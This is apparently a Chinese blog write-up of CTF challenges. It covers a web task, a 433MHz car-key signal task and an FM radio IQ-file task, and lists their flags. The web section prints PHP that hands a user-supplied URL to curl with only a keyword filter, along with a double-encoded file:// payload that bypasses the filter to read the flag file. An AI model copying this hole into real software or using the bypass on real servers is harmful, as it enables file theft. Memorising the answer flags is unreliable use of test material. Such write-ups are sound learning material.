wp部分转自

https://mp.weixin.qq.com/s?__biz=MzU3ODc2NTg1OA==&mid=2247485804&idx=1&sn=15b8b99fc9cdca98d5fa99484b776063&chksm=fd711c21ca0695374a191994b75b563b1a7604b70aa3c0b0251e78721f5a24de8ff85f85284f&mpshare=1&scene=23&srcid=1207vysHlxNfj0iTwS4Fq5Xw&sharer_sharetime=1607348906792&sharer_shareid=8b035134b7fe8a8160582bb9a2551229#rd

华丽丽的爆了零。
仰慕着夏风师傅对Roar2019的精彩wp,自己做BUU也遇到了相同的题,难度不高,然后小瞧了今年的。
只对misc有了解,web大概只有F12和GET/POST的水平,然后签到出不来,签到是个披着misc皮的web。

签到

<?php
echo "<!-- /?url= -->";
if ($_GET['url']) {
  if (preg_match("/flag/i", $_GET['url'])) {
    die();
  }
  $curl = curl_init();

  curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($curl, CURLOPT_TIMEOUT, 500);
  curl_setopt($curl, CURLOPT_URL, $_GET['url']);

  $res = curl_exec($curl);
  curl_close($curl);
  echo $res;
}
//47.104.232.98:39390/?url=file:///%25%36%36%25%36%63%25%36%31%25%36%37
//flag{c8ff10a5edb8acb9d8ef20f8eeba19a6} 

Hi 433MHz

无线电流量分析,一看就不是我能做的题。但是看完wp乍一看也不是很难,只是第一次看见,不会分析罢了。
以下是北极星战队的wp:
汽车钥匙信号〜433Mhz。车钥匙信号的前导码是稳定的数据流,可以向接收者显示出实际正在被接受的数据。使用/inspectrum波形分析工具,symbols设为8个后,做相应调整,打开add sample plot选项

我们要关注的是蓝色的波形,如果波形比较密集就代表1,比较稀疏就代表0

然后就是慢慢的记录0、1二进制,转为ascii码就是flag

flag{25c21b0d-6a11-4312-971b-428d01cdc534}

后记:其实上面的是小题大做了。
刚刚看了别人的wp,直接扔进audacity里像数摩斯电码一样数就行,只不过并不是转成字符串,而是短为0长为1的二进制转ascii

FM

抄别人的wp:
题目给的附件是一个iq格式的文件,然后通过题目附件名称给的提示是rate=2MHZ,
87-108MHZ有点东西,于是就找了很久资料,发现有一个工具gqrx-sdr是专门分析FM调频的,先安装这个软件在kali,然后打开软件设置这些参数,写入文件路径,和Bandwidth设置2MHZ,接着在里面的右边mode模式设置WFM(mono),然后就可以听到出题人在读flag,这时只要慢慢听就能听出来flag

flag{82c83416-dadc-4947-80df-b84852b8f35d}